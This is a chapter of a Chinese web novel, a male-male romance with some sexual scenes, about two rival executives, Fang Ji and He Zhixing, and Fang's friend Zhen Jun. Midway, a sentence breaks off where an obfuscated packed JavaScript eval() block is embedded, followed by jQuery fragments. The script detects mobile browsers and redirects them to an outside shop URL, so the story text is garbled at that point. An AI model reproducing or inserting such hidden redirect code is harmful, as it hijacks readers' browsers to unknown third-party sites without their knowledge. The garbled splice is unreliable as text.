9. 第 9 章
    直至第二天早上醒来,方霁都还陷在匪夷所思织成的云雾当中。

    贺知行为什么要叫他的名字?还是在做那种事情的时候。

    试想,他会在打手枪时叫着最讨厌的人的名字吗?

    方霁想了想,非但不会,要是杀人不犯法,手上是把真枪,他还会一枪崩了贺知行。

    难道贺知行是想通过这种方式来间接恶心他?

    在亲身经历过穿成另一个男人的内裤后,说贺知行这是在进行某种玄乎的巫术,方霁都丝毫不感到意外。

    万千思绪在临近的工作时间点上被打断,方霁从楼下包子店买了一份豆浆加两个肉包,草草吃完,刚停好车踏入公司大门,前台便叫住了他。

    “方总,有一位自称是您朋友的先生找您,现在正在休息室等候。”

    “朋友?”方霁停下脚步,他在社会上摸爬滚打多年,结识的人不少,没有上百也有七八十,但大都只是浮于表面,因为利益而暂时或不得不捆绑在一起,真正称得上一声朋友的,其实一个巴掌就能数过来。

    难不成是甄均?

    上次通话结束后,他们微信上也始终保持着联系。甄均好像是和他发过消息,说最近要来公司找他一趟来着。

    方霁微微点头,改道朝休息室走去,推开门,赫然映入眼帘的是贺知行的身影,那份震惊与复杂情绪交织,一时之间难以言喻。

    “怎么又是你!?”

    对方在同一时刻从沙发上站起来,对他的反应琢磨不透,道:“方总不想见到我?”

    方霁承认,他确实很看不惯贺知行,两人之间的摩擦与对立似乎也是天定的剧本,无可避免。

    然而他对人对事的态度始终秉持着一份理性与清醒——在职场竞技场上屡遭压制固然令他咬牙切齿,但即便情感上存在芥蒂,佩服贺知行的能力也是真的。

    否则他早就报警了。

    生活不可能总是一帆风顺,还有荆棘与贺知行。何况要真变得顺水顺风,又太过单调乏味。

    但现在,方霁还真说不上对他是什么态度。他觉得他们这段时间里见面的次数未免太多了些,甚至有时候……不堪回首。

    “也不是。”方霁摁了摁突突直跳的太阳穴,转而道:“什么事儿,你就直说了,我一会还要上班。”

    贺知行走上来,手上提着一个黑色纸袋,递给方霁:“你喝醉那晚落在我家的衣服。”

    方霁闻言一怔。他在酒吧喝醉那晚,是贺知行将他捡回去的,又给他脱了脏衣服,因为次日没有其他衣服可以穿,贺知行就将自己的借给了他。

    要不是现在贺知行提起,他都快忘了自己还有一套衣服落在贺知行的家里。

    见方霁没接,贺知行又紧跟着补充道:“已经洗干净熨好了。”

    方霁知道他是误会了,轻咳了一声缓解尴尬,接过纸袋后道:“你上次借我那套衣服多少钱?我把钱转给你。”

    贺知行不答反问:“你扔了?”

    “怎么可能!”方霁摸了摸鼻子,不再看着贺知行:“我虽然是挺爱钱的,但还没有那么败家。主要是那套衣服我已经穿过一次了,再拿回去给你也不太好,你估计也不会穿。”

    与其放在贺知行家里吃灰,某天大扫除的时候跟垃圾一块扔掉,还不如他直接买下来物尽其用。

    也不知道贺知行是从哪里买来的,布料穿起来意外的舒服。

    贺知行却说:“我不介意。”

    方霁眉心一拧,觉得今天的贺知行有种说不上来的怪异。

    确切算起,从昨晚开始他就很不对劲。之前几次,方霁就没听到他喊过谁的名字。

    这人就跟GPS似的,注意力只定位在手上,除了必要的呼吸,更是没张过嘴发出其他声音。

    “你不介意没用,我这人精神洁癖,不能接受别人使用我的东西,哪怕是用过的。”方霁坚持转账。

    贺知行也没再推脱,爽快报价:“ 796。”

    “七百九十六?”方霁面露错愕。

    这个价格对于普通人来说或许有些小贵,但对于像贺知行这种大总裁,可谓九牛一毛。

    这家伙平日里穿的衣服,光是方霁认得出的,最低也得五六千一件。

    这个价格也很奇怪,按理来说商城买东西不是特别喜欢数字“9”吗?像什么“399”、“699”、“999”一类的,讨个好彩头,这796又是个什么鬼?

    “嗯。”贺知行并不觉得这个价格有什么不对,神色淡定地解释道:“打折的。”

    呵呵,这怕不是将店长给打折了。

    尽管心存疑惑,方霁还是将钱转了过去。昨晚的事情浮上脑海,没忍住提醒了一句:“那什么,你以后晚上……”

    贺知行凝神等着他的下文。

    “穿任何衣服前,麻烦多确认一下正反。”

    “……”贺知行脸色一变,怀疑自己是不是中间漏听了一段对话。

    方霁也觉得自己这个话题跳跃得太突兀了,但为了他今后的安全与健康着想,他觉得这个提醒还是万分有必要的。

    “他妈的,压得我一晚上没睡好,生怕你半夜……”方霁略显烦躁道,但话到一半又生生嘴刹了。

    好险,差点就暴露了。

    贺知行却似乎对这个话题格外在意:“什么压了你一晚上?”

    还能是什么,不就是你那两坨屁股蛋子!

    生怕你半夜放个屁崩老子脸上,毁了老子一世的英名!

    要不是昨晚亲眼所见贺知行从浴室洗完澡出来后穿反了内裤,方霁还真有些怀疑他究竟是不是真喝醉了。简直不敢相信,原来这样一个在人前的精英人士,居然会在醉酒后露出这样的窘态。

    这么一想,贺知行会在打手枪的时候突然叫出他的名字,应该也是出于脑子被酒精泡发了。

    不然好端端地喊他名字,不膈应得慌吗?

    “没什么,辛苦贺总特意跑一趟来送衣服,但我今天实在没什么空闲时间,就不招待你了。”

    贺知行听出送客的意味,也没再坚持留下自讨没趣。

    从休息室出来,方霁乘坐电梯上到办公室,将纸袋和车钥匙一块放在桌面,视线掠过,又将纸袋拿了过来,取出里面的衣服。

    不知道贺知行用的什么洗衣粉,上面还留有一股阳光般的暖香,很是好闻。衣服表面也展现出近乎完美的平整度,这令方霁不由得有些出神。

    贺知行说已经将衣服洗干净熨好了,这些都是他做的吗?

    方天坐落的位置与知谦相距不过三条街,两栋大厦相对,处在晋城最繁华的中心,就像他们此刻的关系一样,既是商业上的竞争对手,但同时也有着外人所不知的另一层微妙过往。

    方霁将目光投向了办公室外,晋城的繁华景致尽收眼底,很快就否认了自己不切实际的猜想。

    贺知行是含着金汤勺出生的富三代,那双签合同的手怎么会做这种琐事?

    上回在贺知行家,他也自己亲口说了家中有位家政阿姨。

    米那么硬,也不知道是贺知行本来就喜欢吃这种,还是家政阿姨的厨艺不太行。

    要是长期吃下去,对胃的影响不好吧?

    难怪刘叉要说十个总裁九个都有胃病,照贺知行这种吃法,不出毛病都是祖上烧了八辈子高香。

    -

    “瞎说,你哥他可比你正经多了。但凡你肯好好跟他学,不出两年绝对能有不小的收获。”

    “现在网络上有个流行词汇叫啥来着,哦对,‘逆袭’!”

    “妈,你这就夸张了吧。”甄均拿上结账完毕的Condom往超市外走,“你看我读了十五年的书,该学的都学得差不多了,要真有屌丝逆袭的一天,在智力最强的学生时期就该实现了。”

    周女士反应过来他这是在回怼自己之前说他智商不高,只恨不能将手伸进电话里揪住甄均的耳朵。

    “我看你就是想气死我,好叫你爸给你找个新后妈。”

    “别啊”,甄均向来能伸能屈,尤其在面对周女士,“妈你不知道,我这辈子最庆幸的就是投了个好胎,梦里想起都能呲着个大牙乐醒的程度。”

    “你可是我最喜欢的女人了,除你之外没有人能让我叫一声‘妈’。”

    周女士对此颇为受用,但还是哼了一声:“既然你也亲口承认我是你妈了,就老老实实听我一回话,妈还能害了你不成。”

    甄均虽然嘴贫人也浑蛋,但基本的道理都懂,自然明白周女士的良苦用心。为了不叫这岌岌可危的母子关系真破裂,最后还是答应下来会和裴青川见一面。

    他将对方从黑名单内放出来,大发善心地主动给裴青川发了一条道歉。

    【甄均:抱歉,手滑。】

    这次裴青川没有再像同意他好友申请那样迅速,甄均更是不可能抱着手机干等对方,从与裴青川的聊天框内退出来,紧接着给另外一个人发了消息。

    【甄均:我来晋城了,见一面?】

    对面回复得很爽快。

    甄均收起手机,在附近物色了一家卫生环境还不错的酒店,开好房后给对方发去定位。

    半个小时后,房间的门被人敲响,一名穿着深蓝色T恤和米白色长裤的男人走进来。

    “什么时候回来的,得有大半年没过来了吧?”

    甄均曾经在晋城待过一阵子,也就是那个时候认识上的方霁,当然,还有这个打炮对象。只是他们已经很长一段时间没见过面了,连线上的联络都没有。

    不过打炮本来讲究的就是你情我愿、各取所需,没必要也不需要牵扯上那么多情感,爽就行了。

    “就前几天。”甄均关上门,没有过多寒暄,直奔主题道:“还是老规矩,你在下面。”

    男人笑了笑,“行,反正躺的次数多了,你现在再叫我做回1也心有余而力不足了。”

    “直接来吧,我出门之前自己处理过了。”

    两人很快从门口滚到了床上。

    二十分钟后,甄均上手掐红了对方的腰,眉头紧蹙写满了不满,“啧,你叫几声试试,浪一点。”

    男人如言照做了,但甄均还是觉得缺少了点什么,始终无法迎来发泄,最后越做越心烦,率先停了下来。

    “算了,今晚就到这。”甄均起身下床,没留给男人询问原因的机会,直接先进了浴室。

    等他再出来时,屋内空无一人,男人已经先走了,在手机上给他发了消息。

    【我看你今天状态好像不太对,再做下去也没意思,我就先走了。】

    对方在这方面上做得非常好,真正的只是打炮,不会有过多纠缠,就算结束也很坦荡潇洒。甄均对此很满意,这也是为什么过去这么久,还会选择找他的原因之一。

    但不知道今晚是怎么了,大半夜心急约人过来的是他,真正开始了又觉得不如上回得趣。

    甄均回复了一个“嗯”后便扔开手机,躺倒在床面上,看到一旁拆开包装的Condom,思绪不由得回溯至上一次的夜晚。

    酒吧里纸醉金迷,头顶的彩灯晃得人眼前发花。他其实没有和人乱做的癖好,就算是做,大都也会戴。

    不是洁癖,单纯惜命,怕对方有病传染给他。

    但上回和gay吧那个男人,他们做的很急躁,没有采取任何防护措施。

    男人的身体很漂亮,不是那种干瘪瘪、毫无看头的白切鸡身材,而是介于青年与成熟之间,既干净敏感,又拥有线条流畅的肱二头肌和腹肌,像是展览上极具欣赏性美感的雕塑。

    当然,最重要的还是他们在身体方面的契合度,那种极致的感受,是前所未有的,食髓知味的。

    他想,就算没有那杯酒,他兴许还是会摁着对方一晚上。

    甄均努力回忆了一下那天晚上。

    他叫什么名字来着?

    既然对方不是第一次,也没有否认他的打炮说法,那么这种事想必经常做。

    甄均将记忆翻了个遍,最后腾地一下坐了起来。

    是了,那个男人从始至终没有透露过名字,反倒是他,就那么先将自己的名字说了出去。

    甄均扫了一眼某个箭在弦上却始终不得发射的地方,后槽牙都快咬碎了,发出咯咯的摩擦声响。

    靠,这波真是亏大发了。

    早知道会变成现在这样,他死也不会跟对方走。

    “……”

    “喂,几儿,你帮我查一个人。应该是在晋城做生意,男的,丹凤眼,也是个gay。”甄均给朋友打完电话,就看到手机界面弹出一条

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773830|145710||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    微信消息。

    【裴青川:没事,小孩子脾气大很正常。】

    甄均看到后半句话时气笑了。

    【甄均:什么时候见一面?】

    他倒要看看这人是镶了一排大金牙,还是脑门上顶颗水晶钻,能给他嚣张成这样!

    -

    方霁在楼下小区晨跑完,回到家还没来得及换下汗湿的运动服,就接到了甄均的电话。

    “方哥——”甄均拖着嗓音喊道,语气中带着几分委屈可怜。

    “怎么了?”方霁侧过头,将手机夹在耳朵与肩膀之间,给自己倒了一杯水。“你又桶了什么篓子?”

    他丝毫不怀疑甄均闯祸的速度,以往也没少帮他摆平和去局子里捞人。

    不过倒不是说甄均是个蛮横、爱惹是生非的人,大多数时候,是别人碰瓷他,他懒得和人争执就报了警,双方一块进了警局喝茶。

    方霁想,甄均之所以老是碰上这种事情,估计是看他穿得跟个学生似的,人傻钱多好欺负。

    说起来两人第一次见面时,甄均也是在被人欺负。他那副长相,不张嘴说话时,往那一站,确实挺单纯的,一副涉世不深的样子。

    不过也好在甄均不是个愿意吃亏的性格,还会自己报警或者摇他过去帮忙,否则就这被坑的次数,都够他掏空家底的了。

    “好哥哥,我就不能是单纯想你了才打的电话吗?”

    认识这么久,方霁哪里还不了解他,喝完水杯里的水,道:“今后这种骚扰电话就不必打给我了,我见一次挂一次。”

    说着真将手机拿下来准备挂断。

    “等一下!”甄均这才收起那副散漫状态,“我说还不成嘛。”

    方霁嗯了一声,到客厅沙发上坐下,等着他继续往下说。

    “这回还真不是喊你帮忙,是想问你最近有没有空,约你一块去爬山。”

    “爬山?”每个人都有自己的爱好和娱乐方式,这并不奇怪,但甄均大早上专程打电话过来就为了约他爬山,这倒是令方霁有些疑惑不解。

    “你要是嫌活得久了想跳崖自尽请自便,别拉着我就行,我不想死,更不想背上个嫌疑人的头衔。”

    电话那头的甄均噎了片刻。他知道方霁这人大多数时候吃软不吃硬,只得老实交代了自己最近因为欲求不满,想换个途径发泄精力。

    方霁听完倒是没有露出什么震惊或厌恶。男人嘛,有时候精虫上脑,精力丰沛很正常,更别说甄均还处在血气方刚的年纪。

    他自己也是过来人。

    “好哥哥,你就陪人家去吧,难道你就真狠心看我憋死在家里吗?”

    方霁答得很快:“狠心,反正死的又不是我。”

    甄均假装抹了抹眼泪:“那我真可怜,爹不疼妈不爱的,像个被全世界抛弃的孤儿,独自在外漂泊,人生地不熟,辛苦拼搏数十年,好不容易遇上个知心哥哥,还巴不得我马上死。”

    方霁都快听乐了:“不好意思,我硬的不吃,软的更不吃。”

    甄均:“……”

    他怀疑他哥是在搞颜色,但他没有录音。

    “真没有一点同意的余地?”甄均叹了口气。

    方霁也不是那么铁石心肠的人,见逗得差不多,终于松口:“收起你那副死夹子音,这事兴许还有得商量。”

    因为工作繁忙的原因,方霁这些年其实没什么时间进行娱乐休闲活动,顶多晨跑一下,还得到周末。

    -

    晋城是喀斯特地貌,当地的山不少,但要找到一座能够满足刺激与挑战性的高山却并不容易。

    方霁给刘叉发去消息,问有没有适合爬山的地方推荐,对方很仔细地罗列了三个好去处。方霁直接将消息截屏发给了甄均,让他挑选。

    两人第二天便带着装备驱车前往隔壁市。

    山很高,到山顶最快也要六个小时。爬到中途,甄均突然想起很久之前方霁同自己说过的事,没忍住问:“对了方哥,你和你那个大学室友最近怎么样了?我不在晋城的这段时间他有没有继续给你使绊子?”

    这事其实怪方霁自己说漏了嘴,前年跟甄均约出来吃夜宵,多喝了些酒,心事就跟泄洪似的往外流,一会说自己大学时期与贺知行的关系有多么铁,一会又将贺知行骂了个狗血淋头,前言不着后语。

    甄均虽然听得艰难,但也大致拼凑出了事情的经过。

    “也就那样吧。”方霁对此答得很含糊,甚至还有些心虚。

    虽然贺知行确实不爱干人事,但他也不怎么喜欢将与对方的纠纷放到明面上来评头论足。

    甄均一听就知道方霁不愿意聊起这事,迅速换了别的话题。

    当年方霁虽然同他吐槽了那位大学室友好一通,但字里行间却没有透露过对方的姓名,就连他开口询问,方霁也没有回答,只以“混账”代称。

    他动过偷偷调查对方是谁的念头,方霁给出的提示也多,这件事对他来说并不难,但次日早上方霁酒醒,却专门为此给他打了个电话过来。

    没说什么威胁的话,但甄均清楚地感知到:方霁不想让他知道对方是谁。

    甄均承认自己吃味了,可他更加不想惹恼方霁,这件事便不了了之。

    “方哥,你说咱俩四个小时能上到顶不?”

    “不休息的话应该行。”

    华拓山是开发了很久的景区,专门供攀登人士消遣。他们很幸运,这个时候正是淡季,山上没什么人导致拥挤。

    随着海拔逐渐升高,周围的空气也变得更为清凉。

    秋天的萧条无法进入晋城的中心,却能侵蚀大自然的一草一木,风景自然是不如春天的绿意盎然和冬天的银装素裹,但站在最顶峰眺望山脚下的世界和走过的道路,同样能有一番好心情。

    两人打算在山上看明早的日出,所以干脆将帐篷一块背上了山,凑合一晚。

    只是刚扎好帐篷,灰蒙蒙的天边就开始淅淅沥沥地下起了雨。

    两人掐着时间躲进了帐篷中,起初还以为是小雨,但随着雨势愈演愈烈,砸在地面上发出噼里啪啦的巨响,甚至狂风骤卷,掀起帐篷四角的地钉,两人才终于意识到不对劲。

    “草,不会是台风天吧!”甄均身上几乎被刮进来的雨水打湿大半,没忍住骂起来。